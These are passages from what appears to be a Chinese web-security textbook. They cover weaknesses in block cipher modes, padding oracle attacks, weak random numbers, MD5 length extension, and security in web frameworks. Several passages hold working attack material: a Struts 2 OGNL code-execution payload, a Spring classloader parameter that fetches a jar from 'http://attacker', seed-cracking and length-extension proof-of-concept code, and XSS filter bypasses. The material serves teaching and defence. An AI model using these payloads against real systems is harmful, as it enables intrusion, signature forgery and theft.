    {"text": "再看看plain2，按照分组来看，它是plain1对调了两个分组的结果： aaaabbbb xaaabbbb plain2加密后的密文，其结果也正是plain1的密文对调分组密文的结果： \\xab\\xf1\\x3a\\x33\\x59\\x35\\x3b\\x07 \\x32\\xd1\\xe9\\x5a\\x49\\x0f\\xfe\\x80 因此验证了之前的结论：对于ECB模式来说，改变分组密文的顺序，将改变解密后的明文顺序；"},
    {"text": "这是非常危险的，假设某在线支付应用，用户提交的密文对应的明文为： member=abc||pay=10000.00 其中前16个字节为： member=abc||pay= 这正好是一个或两个分组的长度，因此攻击者只需要使用“1.00”的密文，替换“10000.00”的密文，即可伪造支付金额从10000元至1元。"},
    {"text": "此外，ECB模式仍然会带有明文的统计特征，因此在分组较多的情况下，其私密性也会存在一些问题，如下： ECB模式与CBC模式的对比效果 ECB模式并未完全混淆分组间的关系，因此当分组足够多时，仍然会暴露一些私密信息，而链式模式则避免了此问题。"},
    {"text": "分组加密算法在实现加/解密时，需要把消息进行分组（block），block的大小常见的有64bit、128bit、256bit等。 以CBC模式为例，其实现加密的过程大致如下： 在这个过程中，如果最后一个分组的消息长度没有达到block的大小，则需要填充一些字节，被称为padding。"},
    {"text": "以8个字节一个block为例： 比如明文是FIG，长度为3个字节，则剩下5个字节被填充了 0x05,0x05,0x05,0x05,0x05这5个相同的字节，每个字节的值等于需要填充的字节长度。 如果明文长度刚好为8个字节，如：PLAN-TAIN，则后面需要填充8个字节的padding，其值为0x08。"},
    {"text": "PKCS#5填充效果示意图 假设明文为： BRIAN;12;2; 经过DES加密（CBC模式）后，其密文为： 7B216A634951170FF851D6CC68FC9537858795A28ED4A AC6 密文采用了ASCII十六进制的表示方法，即两个字符表示一个字节的十六进制数。"},
    {"text": "比如在Web应用中，如果是padding不正确，则应用程序很可能会返回500的错误； 如果padding正确，但解密出来的内容不正确，则可能会返回200的自定义错误。"},
    {"text": "那么，以第一组分组为例，构造IV为8个0字节： Request: http://sampleapp/home.jsp? UID=0000000000000000F851D6CC68FC9537 Response: 500 - Internal Server Error 此时在解密时padding是不正确的。 正确的padding值只可能为： 1个字节的padding为 0x01 2个字节的padding为 0x02,0x02 3个字节的padding为 0x03,0x03,0x03 4个字节的padding为 0x04,0x04,0x04,0x04 …… 因此慢慢调整IV的值，以希望解密后，最后一个字节的值为正确的padding byte，比如一个0x01。 Request: http://sampleapp/home.jsp? UID=0000000000000001F851D6CC68FC9537 Response: 500 - Internal Server Error 逐步调整IV的值： 因为Intermediary Value是固定的（我们此时 不知道Intermediary Value的值是多少），因此从0x00到0xFF之间，只可能有一个值与Intermedi-ary Value的最后一个字节进行XOR后，结果是0x01。 通过遍历这255个值，可以找出IV需要的最后一个字节： Request: http://sampleapp/home.jsp? UID=000000000000003CF851D6CC68FC9537 Response: 200 OK 通过XOR运算，可以马上推导出此Interme-diary Byte的值： If [Intermediary Byte] ^ 0x3C == 0x01, then [Intermediary Byte] == 0x3C ^ 0x01, so [Intermediary Byte] == 0x3D 回过头看看加密过程：初始化向量IV与明文进行XOR运算得到了Intermediary Value，因此将刚才得到的Intermediary Byte：0x3D与真实IV的最后一个字节0x0F进行XOR运算，既能得到明文。"},
    {"text": "而我们已经知道了最后一个Intermediary Byte为0x3D，因此可以更新IV的第8个字节为0x3D ^ 0x02 = 0x3F，此时可以开始遍历IV的第7个字节（0x00～0xFF）。 通过遍历可以得出，IV的第7个字节为0x24，对应的Intermediary Byte为0x26。"},
    {"text": "以两个分组为例，第二个分组使用的IV是第一个分组的密文（cipher text），因此当推导出第二个分组使用的IV时，将此IV值当做第一个分组的密文，再次进行推导。"},
    {"text": "在一些实际的攻击案例中，直接攻击加密算法本身的案例很少，而因为密钥没有妥善管理导致的安全事件却很多。 对于攻击者来说，他们不需要正面破解加密算法，如果能够通过一些方法获得密钥，则是件事半功倍的事情。"},
    {"text": "public boolean VerifyAdmin(String password) { if (password.equals(\"68af404b513073584c4b6f22 b6c63e6b\")) { System.out.println(\"Entering Diagnostic Mode...\"); return true; } System.out.println(\"Incorrect Password!\"); return false; 同样的，将加密密钥、签名的salt等“key”硬编码在代码中，是非常不好的习惯。 File saveFile = new File(\"Settings.set\"); saveFile.delete(); FileOutputStream fout = new FileOutputStream(saveFile); //Encrypt the settings //Generate a key byte key[] = \"My Encryption Key98\".getBytes(); DESKeySpec desKeySpec = new DESKeySpec(key); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(\"DES\"); SecretKey skey = keyFactory.generateSecret(desKeySpec); //Prepare the encrypter Cipher ecipher = Cipher.getInstance(\"DES\"); ecipher.init(Cipher.ENCRYPT_MODE, skey); // Seal (encrypt) the object SealedObject so = new SealedObject(this, ecipher); ObjectOutputStream o = new ObjectOutputStream(fout); o.writeObject(so); o.close(); 下面这段代码来自一个开源系统，它硬编码了私钥，而该私钥能被用于支付。 function toSubmit($payment){ $merId = $this- >getConf($payment['M_OrderId'], 'member_id'); //账号 $pKey = $this- >getConf($payment['M_OrderId'], 'PrivateKey'); $key = $pKey==''?'afsvq2mqwc7j0i69uzvukqexrzd0jq6 h':$pKey;//私钥值 $ret_url = $this->callbackUrl; $server_url = $this->serverCallbackUrl; 硬编码的密钥，在以下几种情况下可能被泄露。"},
    {"text": "这种泄露途径常见于一些开源软件； 有的商业软件并不开源，但编译后的二进制文件被用户下载，也可能被逆向工程反编译后，泄露硬编码的密钥。"},
    {"text": "一个比较安全的密钥管理系统，可以将所有的密钥（包括一些敏感配置文件）都集中保存在一个服务器（集群）上，并通过Web Service的方式提供获取密钥的API。"},
    {"text": "MD_Update(&m,buf,j); [ .. ] MD_Update(&m,buf,j); /* purify complains */ 这直接导致的后果是，在OpenSSL的伪随机数生成算法中，唯一的随机因子是pid。"},
    {"text": "java.io.File.createTempFile(deploymentName, extension); 此函数用于生成临时目录，其实现代码如下： private static File generateFile(String s, String s1, File file) throws IOException { if(counter == -1) counter = (new Random()).nextInt() & 0xffff; counter++; return new File(file, (new StringBuilder()).append(s).append(Integer.toS tring(counter)).append(s1).toString()); } public static File createTempFile(String s, String s1, File file) throws IOException { ... File file1; do file1 = generateFile(s, s2, file); while(!checkAndCreate(file1.getPath(), securitymanager)); return file1; } 在Linux上的测试结果如下： 文件名按照顺序生成 文件名按照顺序生成（续） 可以看到文件名是顺序增长的。 在Windows上，本质没有发生变化： 文件名按照顺序生成 完整测试代码如下： import java.io.*; public class getTemp { /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub File f = null; String extension = \".tmp\"; try { //for (int i=0; i<10; i++){ f = File.createTempFile(\"temp\", extension); System.out.println(f.getPath()); //} } catch (IOException e) { } } } 这个函数经常被用于生成临时文件。"},
    {"text": "private static File generateFile(String s, String s1, File file) throws IOException { long l = LazyInitialization.random.nextLong(); if(l == 0x8000000000000000L) l = 0L; else l = Math.abs(l); return new File(file, (new StringBuilder()).append(s).append(Long.toStri ng(l)).append(s1).toString()); } 在Web应用中，使用伪随机数的地方非常广泛。"},
    {"text": "function sendPSW(){ …… $messenger = &$this->system- >loadModel('system/messenger');echo microtime().\"<br/>\"; $passwd = substr(md5(print_r(microtime(),true)),0,6) ; …… 这个新生成的$passwd，是直接调用了micro-time()后，取其MD5值的前6位。 由于MD5算法是单向的哈希函数，因此只需要遍历microtime()的值，再按照同样的算法，即可猜解出$passwd的值。"},
    {"text": "这两个函数的最大范围分别为： <?php //on windows print getrandmax();// 32767 print mt_getrandmax(); //2147483647 ?> 可见，rand()的范围其实是非常小的，如果使用rand()生成的随机数用于一些重要的地方，则会非常危险。 其实PHP中的mt_rand()也不是很安全，Ste-fan Esser在他著名的paper：“mt_srand and notso random numbers”中提出了PHP的伪随机函数mt_rand()在实现上的一些缺陷。"},
    {"text": "伪随机数是由数学算法实现的，它真正随机的地方在于“种子（seed）”。 种子一旦确定后，再通过同一伪随机数算法计算出来的随机数，其值是固定的，多次计算所得值的顺序也是固定的。"},
    {"text": "在PHP 4.2.0之前的版本中，是需要通过srand()或mt_srand()给rand()、mt_rand()播种的：在PHP 4.2.0之后的版本中不再需要事先通过srand()、mt_srand()播种。"},
    {"text": "但为了和以前版本兼容，PHP应用代码里经常会这样写： mt_srand(time()); mt_srand((double) microtime() * 100000); mt_srand((double) microtime() * 1000000); mt_srand((double) microtime() * 10000000); 这种播种的写法其实是有缺陷的，且不说time()是可以被攻击者获知的，使用microtime()获得的种子范围其实也不是很大。 比如： 0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000 变化的范围在0到1000000之间，猜解100万次即可遍历出所有的种子。"},
    {"text": "比如如下代码： <?php mt_srand (1); echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; ?> 第一次访问的结果如下： 多次访问也得到同样结果： 可以看出，当seed确定时，第一次到第n次通过mt_rand()产生的值都没有发生变化。"},
    {"text": "还是以上面的代码为例，比如使用随机播种： <?php mt_srand ((double) microtime() * 1000000); echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; echo mt_rand().'<br/>'; ?> 每次访问都会得到不同的随机数值，这是因为种子每次都变化产生的。"},
    {"text": "<?php if ($seed = get_seed()){ echo \"seed is :\".$seed.\"\\n\"; mt_srand($seed); echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; echo mt_rand().\"\\n\"; } function get_seed(){ for ($i=0;$i<1000000 ;$i++){ mt_srand($i); //mt_rand(); // 对应是第几次调用mt_rand() $str = mt_rand(); // 在本例中是第一次调用 mt_rand() if ($str == 466805928 ) // 对比随机数的值 return $i; } return False; } ?> 验证发现：当种子为812504时，所有的随机数都被预测出来了。"},
    {"text": "需要注意的是，在PHP 5.2.1及其之后的版本中调整了随机数的生成算法，但强度未变，因此在实施猜解种子时，需要在对应的PHP版本中运行猜解程序。"},
    {"text": "在Stefan Esser的文中还提到了一个小技巧，可以通过发送Keep-Alive HTTP头，迫使服务器端使用同一PHP进程响应请求，而在该PHP进程中，随机数在使用时只会在一开始播种一次。"},
    {"text": "在Java中，可以使用java.security.SecureRandom，比如： try { // Create a secure random number generator SecureRandom sr = SecureRandom.getInstance(\"SHA1PRNG\"); // Get 1024 random bits byte[] bytes = new byte[1024/8]; sr.nextBytes(bytes); // Create two secure number generators with the same seed int seedByteCount = 10; byte[] seed = sr.generateSeed(seedByteCount); sr = SecureRandom.getInstance(\"SHA1PRNG\"); sr.setSeed(seed); SecureRandom sr2 = SecureRandom.getInstance(\"SHA1PRNG\"); sr2.setSeed(seed); } catch (NoSuchAlgorithmException e) { } 而在Linux中，可以使用/dev/random或者/dev/urandom来生成随机数，只需要读取即可： int randomData = open(\"/dev/random\", O_RDONLY); int myRandomInteger; read(randomData, &myRandomInteger, sizeof myRandomInteger); // you now have a random integer! close(randomData); 而在PHP 5.3.0及其之后的版本中，若是支持openSSL扩展，也可以直接使用函数来生成随机数： string openssl_random_pseudo_bytes ( int $length [, bool &$crypto_strong ] ) 除了以上方法外，从算法上还可以通过多个随机数的组合，以增加随机数的复杂性。"},
    {"text": "（附）Understanding MD5 Length Extension Attack背景 2009年，Thai Duong与Juliano Rizzo不仅仅发布了ASP.NET的Padding Oracle攻击，同时还写了一篇关于Flickr API签名可伪造的pa-per，和Padding Oracle的paper放在一起。"},
    {"text": "两年过去了，在安全圈子（国内国外）里大家的眼光似乎都只放到了Padding Oracle上，而有意无意地忽略了Flickr API签名这个问题。 我前段时间看paper时，发现Flickr API签名这个漏洞，实际上用的是MD5 Length Extension Attack，和Padding Oracle还是很不一样的。"},
    {"text": "我百思不得其解，试图还原这个攻击的过程，为此查阅了大量的资料，结果发现整个互联网上除了一些理论外，根本就没有这个攻击的任何实现。"},
    {"text": "什么是Length Extension Attack? 很多哈希算法都存在Length Extension攻击，这是因为这些哈希算法都使用了Merkle-Damg?rd hash construction进行数据压缩，流行算法比如MD5、SHA-1等都受到影响。"},
    {"text": "MD5 length-extension攻击原理图 所以要实施Length Extension Attack，就需要找到MD5(secret)最后压缩的值，并算出其padding，然后加入到下一轮的MD5压缩算法中，算出最终我们需要的值。 理解Length Extension Attack 为了深入理解Length Extension Attack，我们需要深入到MD5的实现中。"},
    {"text": "padding的规则是，在最末一个字节之后补充0x80，其余的部分填充为0x00，padding最后的8个字节用来表示需要哈希的消息长度。 比如输入的消息为：0.46229771920479834，变为ASCII码，且将每个字符分离为数组后变为： 因为数据总共才有19个字节，不足64个字节，因此剩下部分需要经过padding。 padding后数据变为： 最后8个字节用以表示数据长度，为19*8 =152。"},
    {"text": "在这个过程中，一开始会有定义好的初始化向量，为4个中间值，初始化向量不是随机生成的，是标准里定义死的——是的，你没看错，这是“硬编码”！"},
    {"text": "比如： 9d391442efea4be3666caf8549bd4fd3 拆分为： 9d391442 efea4be3 666caf85 49bd4fd3 然后将这几个string转换为整数，再根据一系列的数学变化，还原成for循环里面需要用到的h3,h2,h1,h0。"},
    {"text": "这段代码如下： <script src=\"md5.js\" ></script> <script src=\"md5_le.js\" ></script> <script> function print(str){ document.write(str); } print(\"=== MD5 Length Extension Attack POC ===<br>=== by axis ===<br><br>\"); // turn this to be true if want to see internal state debug = false; var x = String(Math.random()); var append_m = 'axis is smart!'; print(\"[+] secret is :\"+x+\"<br>\"+\"[+] length is :\" + x.length+\"<br>\"); print(\"[+] message want to append is :\"+append_m+\"<br>\"); print(\"[+] Start calculating secret's hash<br>\"); var old = faultylabs.MD5(x); print(\"<br>[+] Calculate secret's md5 hash: <b>\"+old+\"</b><br>\"); print(\"<br><br>============================== ==<br>\"); print(\"[+] Start calculating new hash<br>\"); print(\"[+] theory: h(m||p||m1)<br>\"); print(\"[+] that is: md5_compression_function('\"+old+\"', 'secret's length', '\"+ append_m +\"')\"+\"<br>\"); var hash_guess = md5_length_extension(old, x.length, append_m); print(\"[+] padding(urlencode format) is: \"+ escape(hash_guess['padding']) + \"<br/>\"); print(\"<br>[+] guessing new hash is: <b>\"+hash_guess['hash']+\"</b><br>\"); print(\"<br><br>============================== ==<br>\"); print(\"[+] now verifying the new hash<br>\"); var x1 = ''; x1 = x + hash_guess['padding'] + append_m; print(\"[+] new message(urlencode format) is: <br>\"+ escape(x1) +\"<br><br>\"); var v = faultylabs.MD5(x1); print(\"<br>[+] md5 of the new message is: <b>\"+v+\"</b><br/>\"); </script> 关键代码md5_le.js是patch MD5算法的实现，基于faultylabs的MD5实现而来，其源代码附后。"},
    {"text": "所以本来如： ?a=1&b=2&c=3 的参数，在签名算法中连接时简单地变成了： a1b2c3 那么攻击者可以伪造参数为： ?a=1b2c3[....Padding....]&b=4&c=5 最终在签名算法中连接时： a1b2c3[....Padding....]b4c5 通过Length Extension可以生成一个新的合法的签名。"},
    {"text": "除此之外，因为可以附加新的参数，所以任意具有逻辑功能，但原文中未出现过的参数都可以附加，比如： ?a=1&b=2&c=3&delete=../../../file&sig=sig_new 这是第二种攻击方式。"},
    {"text": "比如MD5(m+secret)，希望推导出MD5(m+secret||padding||m')，结果由于自动附加se-cret在末尾的关系，会变成MD5(m||padding||m'||secret)，从而导致Length Extension run不起来。"},
    {"text": "但是，方案光有效是不够的，要想设计出完美的方案，还需要解决第二件事情，就是找到一个方法，能够让我们快速有效、不会遗漏地发现所有问题。"},
    {"text": "MVC是Model-View-Controller的缩写，它将Web应用分为三层，View层负责用户视图、页面展示等工作； Controller负责应用的逻辑实现，接收View层传入的用户请求，并转发给对应的Model做处理；"},
    {"text": "比如在Spring Security中，通过URL pattern实现的访问控制，需要由框架来处理所有用户请求，在Spring Security获取了URL handler基础上，才有可能将后续的安全检查落实。"},
    {"text": "在SpringSecurity的配置中，第一步就是在web.xml文件中增加一个filter，接管用户数据。 <filter> <filter-name>springSecurityFilterChain</ filter-name> <filter- class>org.springframework.web.filter.Delegati ngFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSecurityFilterChain</ filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 然而数据的处理是复杂的，数据经过不同的应用逻辑处理后，其内容可能会发生改变。"},
    {"text": "举例来说，在“注入攻击”一章中，我们并没有使用PHP的magic_quotes_gpc作为一项对抗SQL注入的防御方案，这是因为magic_quotes_gpc是有缺陷的，它并没有在正确的地方解决问题。"},
    {"text": "PHP官方在若干年后终于开始正视这个问题，于是在官方文档的描述中不再推荐大家使用它： PHP官方声明取消Magic Quotes 所以Model层的事情搞到View层去解决，效果只会适得其反。"},
    {"text": "在框架中实施安全方案，比由程序员在业务中修复一个个具体的bug，有着更多的优势。 首先，有些安全问题可以在框架中统一解决，能够大大节省程序员的工作量，节约人力成本。"},
    {"text": "最后，在每个业务里修补安全漏洞，补丁的标准难以统一，而在框架中集中实施的安全方案，可以使所有基于框架开发的业务都能受益，从安全方案的有效性来说，更容易把握。"},
    {"text": "从MVC架构来说，是发生在View层，因此使用“输出编码”的防御方法更加合理，这意味着需要针对不同上下文的XSS攻击场景，使用不同的编码方式。"},
    {"text": "在当前流行的MVC框架中，View层常用的技术是使用模板引擎对页面进行渲染，比如在“跨站脚本攻击”一章中所提到的Django，就使用了Django Templates作为模板引擎。"},
    {"text": "模板引擎本身，可能会提供一些编码方法，比如，在Django Tem-plates中，使用filters中的escape作为HtmlEn-code的方法： <h1>Hello, {{ name|escape }}!</h1> Django Templates同时支持auto-escape，这符合Secure by Default原则。 现在的Django Tem-plates，默认是将auto-escape开启的，所有的变量都会经过HtmlEncode后输出。"},
    {"text": "默认是编码了5个字符： < is converted to &lt; > is converted to &gt; ' (single quote) is converted to &#39; \" (double quote) is converted to &quot; & is converted to &amp; 如果要关闭auto-escape，则需要使用以下方法： {{ data|safe }} 或者 {% autoescape off %} Hello {{ name }} {% endautoescape %} 为了方便，很多程序员可能会选择关闭auto-escape。 要检查auto-escape是否被关闭也很简单，搜索代码里是否出现上面两种情况即可。"},
    {"text": "但是正如前文所述，最好的XSS防御方案，在不同的场景需要使用不同的编码函数，如果统一使用这5个字符的HtmlEncode，则很可能会被攻击者绕过。"},
    {"text": "（具体XSS攻击的细节在本书“跨站脚本攻击”一章中有深入探讨） 再看看非常流行的模板引擎Velocity，它也提供了类似的机制，但是有所不同的是，Velocity默认是没有开启HtmlEncode的。"},
    {"text": "在Velocity中，可以通过Event Handler来进行HtmlEncode。 eventhandler.referenceinsertion.class = org.apache.velocity.app.event.implement. EscapeHtmlReference eventhandler.escape.html.match = /msg.*/ 使用方法如下例，这里同时还加入了一个转义SQL语句的Event Handler。 ... import org.apache.velocity.app.event.EventCartridge; import org.apache.velocity.app.event.ReferenceInsert ionEventHandler; import org.apache.velocity.app.event.implement.Escap eHtmlReference; import org.apache.velocity.app.event.implement.Escap eSqlReference; ... public class Test { public void myTest() { .... /** * Make a cartridge to hold the event handlers */ EventCartridge ec = new EventCartridge(); /* * then register and chain two escape- related handlers */ ec.addEventHandler(new EscapeHtmlReference()); ec.addEventHandler(new EscapeSqlReference()); /* * and then finally let it attach itself to the context */ ec.attachToContext( context ); /* * now merge your template with the context as you normally * do */ .... } } 但Velocity提供的处理机制，与Django的auto-escape所提供的机制是类似的，都只进行了HtmlEncode，而未细分编码使用的具体场景。"},
    {"text": "在Django中是使用自定义filters，在Velocity中则可以使用“宏”(ve-locimacro)，比如： XML编码输出，将会执行 XML Encode输出 #SXML($xml) JS编码输出，将会执行JavaScript Encode输出 #SJS($js) 通过自定义的方法，使得XSS防御的功能得到完善；"},
    {"text": "同时在模板系统中，搜索不安全的变量也有了依据，甚至在代码检测工具中，可以自动判断出需要使用哪一种安全的编码方法，这在安全开发流程中是非常重要的。"},
    {"text": "在很多Web框架官方文档中推荐的用法，就是存在缺陷的。 Web框架的开发者在设计安全方案时，有时会缺乏来自安全专家的建议。 所以开发者在使用框架时，应该慎重对待安全问题，不可盲从官方指导文档。"},
    {"text": "CSRF攻击的目标，一般都会产生“写数据”操作的URL，比如“增”、“删”、“改”； 而“读数据”操作并不是CSRF攻击的目标，因为在CSRF的攻击过程中攻击者无法获取到服务器端返回的数据，攻击者只是借用户之手触发服务器动作，所以读数据对于CSRF来说并无直接的意义（但是如果同时存在XSS漏洞或者其他的跨域漏洞，则可能会引起别的问题，在这里，仅仅就CSRF对抗本身进行讨论）。"},
    {"text": "在Rails中，要做到这一切非常简单，只需要在Application Controller中增加一行即可： protect_from_forgery :secret => \"123456789012345678901234567890...\" 它将根据secret和服务器端的随机因子自动生成token，并自动添加到所有form和由Rails生成的Ajax请求中。"},
    {"text": "('django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionM iddleware', 'django.middleware.csrf.CsrfViewMiddlewar e', 'django.contrib.auth.middleware.Authenticati onMiddleware', 'django.contrib.messages.middleware.MessageM iddleware',) 然后，在form表单的模板中添加token。 <form action=\".\" method=\"post\">{% csrf_token %} 接下来，确认在View层的函数中使用了django.core.context_processors.csrf，如果使用的是RequestContext，则默认已经使用了，否则需要手动添加。 from django.core.context_processors import csrf from django.shortcuts import render_to_response def my_view(request): c = {} c.update(csrf(request)) # ... view code here return render_to_response(\"a_template.html\", c) 这样就配置成功了，可以享受CSRF防御的效果了。"},
    {"text": "在Ajax请求中，一般是插入一个包含了token的HTTP头，使用HTTP头是为了防止token泄密，因为一般的JavaScript无法获取到HTTP头的信息，但是在存在一些跨域漏洞时可能会出现例外。"},
    {"text": "$(document).ajaxSend(function(event, xhr, settings) { function getCookie(name) { var cookieValue = null; if (document.cookie && document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { document.location.protocol; var sr_origin = '//' + host; var origin = protocol + sr_origin; // Allow absolute or scheme relative URLs to same origin return (url == origin || url.slice(0, origin.length + 1) == origin + '/') || (url == sr_origin || url.slice(0, sr_origin.length + 1) == sr_origin + '/') || // or any other URL that isn't scheme relative or absolute i.e relative. !(/^(\\/\\/|http:| https:).*/.test(url)); } function safeMethod(method) { return (/^(GET|HEAD|OPTIONS| TRACE)$/.test(method)); } if (!safeMethod(settings.type) && sameOrigin(settings.url)) { xhr.setRequestHeader(\"X-CSRFToken\", getCookie('csrftoken')); } }); 在Spring MVC以及一些其他的流行Web框架中，并没有直接提供针对CSRF的保护，因此这些功能需要自己实现。"},
    {"text": "比如针对HTTP返回头的CRLF注入（攻击原理细节请参考“注入攻击”一章），因为HTTP头实际上可以看成是key-value对，比如： Location: http://www.a.com Host: 127.0.0.1 因此对抗CRLF的方案只需要在“value”中编码所有的\\r\\n即可。"},
    {"text": "一般来说，可以在两个地方做这件事情： （1）如果Web框架提供统一的跳转函数，则可以在跳转函数内部实现一个白名单，指定跳转地址只能在白名单中； （2）另一种解决方式是控制HTTP的Location字段，限制Location的值只能是哪些地址，也能起到同样的效果，其本质还是白名单。"},
    {"text": "比如用来对抗ClickJacking的X-Frame-Options，需要在页面的HTTP Response中添加： X-Frame-Options: SAMEORIGIN Web框架可以封装此功能，并提供页面配置。"},
    {"text": "在前面的章节中，还曾提到Cookie的HttpOnly Flag，它能告诉浏览器不要让JavaScript访问该Cookie，在Session劫持等问题上有着积极的意义，而且成本非常小。 但并不是所有的Web服务器、Web容器、脚本语言提供的API都支持设置HttpOnly Cookie，所以很多时候需要由框架实现一个功能：对所有的Cookie默认添加HttpOnly，不需要此功能的Cookie则单独在配置文件中列出。"},
    {"text": "就 HttpOnlyCookie来说，它要求在所有服务器端设置该Cookie的地方都必须加上，这可能意味着很多不同的业务和页面，只要一个地方有遗漏，就会成为短板。"},
    {"text": "在实际解决SQL注入时，还有一个难点就是应用复杂后，代码数量庞大，难以把可能存在SQL注入的地方不遗漏地找出来，而ORM框架为我们发现问题提供了一个便捷的途径。"},
    {"text": "ibatis支持动态SQL，可以在SQL语句中插入动态变量：$value$，如果用户能够控制这个变量，则会存在一个SQL注入的漏洞。 <select id=\"User.getUser\" parameterClass=\"cn.ibatis.test.User\" resultClass=\"cn.ibatis.test.User\"> select TABLE_NAME,TABLESPACE_NAME from user_tables where table_name like '%'|| #table_ name#||'%' order by $orderByColumn$ $orderByType$ </select> 而静态变量#value#则是安全的，因此在使用ibatis时，只需要搜索所有的sqlmap文件中是否包含动态变量即可。"},
    {"text": "而在Django中，做法则更简单，Django提供的Database API，默认已经将所有输入进行了SQL转义，比如： foo.get_list(bar__exact=\"' OR 1=1\") 其最终效果类似于： SELECT * FROM foos WHERE bar = '\\' OR 1=1' 使用Web框架提供的功能，在代码风格上更加统一，也更利于代码审计。"},
    {"text": "但如果在Web框架中能为文件上传功能提供一个足够安全的二方库或者函数（具体可参考“文件上传漏洞”一章），就可以为业务线的开发者解决很多问题，让程序员可以把精力和重点放在功能实现上。"},
    {"text": "在设计整体安全方案时，比较科学的方法是按照本书第1章中所列举的过程来进行——首先建立威胁模型，然后再判断哪些威胁是可以在框架中得到解决的。"},
    {"text": "在设计Web框架安全解决方案时，还需要保存好安全检查的日志。 在设计安全逻辑时也需要考虑到日志的记录，比如发生XSS攻击时，可以记录下攻击者的IP、时间、UserAgent、目标URL、用户名等信息。 这些日志，对于后期建立攻击事件分析、入侵分析都是有积极意义的。"},
    {"text": "但是开发框架由于其本身的特殊性，一般网站出于稳定的考虑不会对这个基础设施频繁升级，因此开发框架的漏洞可能不会得到及时的修补，但由此引发的后果却会很严重。"},
    {"text": "12.7.1 Struts 2命令执行漏洞 2010年7月9日，安全研究者公布了Struts 2一个远程执行代码的漏洞（CVE-2010-1870），严格来说，这其实是XWork的漏洞，因为Struts 2的核心使用的是WebWork，而WebWork又是使用XWork来处理action的。"},
    {"text": "如下： user.address.city=Bishkek&user['favoriteDrink ']=kumys 会被转化成： action.getUser().getAddress().setCity(\"Bishkek\") action.getUser().setFavoriteDrink(\"kumys\") 这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的，它的参数是用户可控的，由HTTP参数传入。"},
    {"text": "* Method calling: foo() * Static method calling: @java.lang.System@exit(1) * Constructor calling: new MyClass() * Ability to work with context variables: #foo = new MyClass() * And more... 由于参数完全是用户可控的，所以XWork出于安全的目的，增加了两个方法用以阻止代码执行。"},
    {"text": "* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' ( 缺省为true) * SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false) 但这两个方法可以被覆盖，从而导致代码执行。 #_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean(\"false\") #context['xwork.MethodAccessor.denyMethodExec ution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('mkdir /tmp/PWNED') ParametersInterceptor是不允许参数名称中有#的，因为OGNL中的许多预定义变量也是以#表示的。 * #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value. * #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution. * #root * #this * #_typeResolver * #_classResolver * #_traceEvaluations * #_lastEvaluation * #_keepLastEvaluation 可是攻击者在过去找到了这样的方法（bug编号XW-641）：使用\\u0023来代替#，这是#的十六进制编码，从而构造出可以远程执行的攻击pay-load。 http://mydomain/MyStruts.action? ('\\u0023_memberAccess[\\'allowStaticMethodAcce ss\\']')( meh)=true&(aaa) (('\\u0023context[\\'xwork.MethodAccessor.den yMethodExecution\\']\\u003d\\u0023foo') (\\u0023foo\\u003dnew %20java.lang.Boolean(\"false\")) )&(asdf)(('\\u0023rt.exit(1)')(\\u0023rt \\u003d@java.lang.Runtime@getRunti me()))=1 最终导致代码执行成功。"},
    {"text": "12.7.2 Struts 2的问题补丁 Struts 2官方目前公布了几个安全补丁： Struts 2官方的补丁页面 但深入其细节不难发现，补丁提交者对于安全的理解是非常粗浅的。"},
    {"text": "http://localhost/foo/bar.action? <script>alert(1)</script>test=hello 我们看看当时官方是如何修补的： 新增的修补代码： 可以看到，只是简单地替换掉<script>标签。"},
    {"text": "修补代码仅仅是将if变成while： 这种漏洞修补方式，仍然是存在问题的，攻击者可以通过下面的方法绕过： http://localhost/foo/bar.action?<script test=hello>alert(1)</script> 由此可见，Struts 2的开发者，本身对于安全的理解是非常不到位的。"},
    {"text": "12.7.3 Spring MVC命令执行漏洞 2010年6月，公布了Spring框架一个远程执行命令漏洞，CVE编号是CVE-2010-1622。 漏洞影响范围如下： SpringSource Spring Framework 3.0.0～3.0.2 SpringSource Spring Framework 2.5.0～2.5.7 由于Spring框架允许使用客户端所提供的数据来更新对象属性，而这一机制允许攻击者修改class.classloader加载对象的类加载器的属性，这可能导致执行任意命令。"},
    {"text": "（2）通过以下HTTP参数向表单控制器提交HTTP请求： class.classLoader.URLs[0]=jar:http://attacker /attack.jar!/ 这会使用攻击者的URL覆盖WebappClass-Loader的repositoryURLs属性的第0个元素。"},
    {"text": "（3）之后org.apache.jasper.compiler.TldLo-cationsCache.scanJars()会使用 WebappClass-Loader的URL解析标签库，会对TLD中所指定的所有标签文件解析攻击者所控制的jar。"},
    {"text": "12.7.4 Django命令执行漏洞 在Django 0.95版本中，也出现了一个远程执行命令漏洞，根据官方代码diff后的细节，可以看到这是一个很明显的“命令注入”漏洞，我们在“注入攻击”一章中，曾经描述过这种漏洞。"},
    {"text": "Django在处理消息文件时存在问题，远程攻击者构建恶意.po文件，诱使用户访问处理，可导致以应用程序进程权限执行任意命令。 Django的漏洞代码 漏洞代码如下： cmd = 'msgfmt -o \"%s.mo\" \"%s.po\"' % (pf, pf) os.system(cmd) 这是一个典型的命令注入漏洞。"},
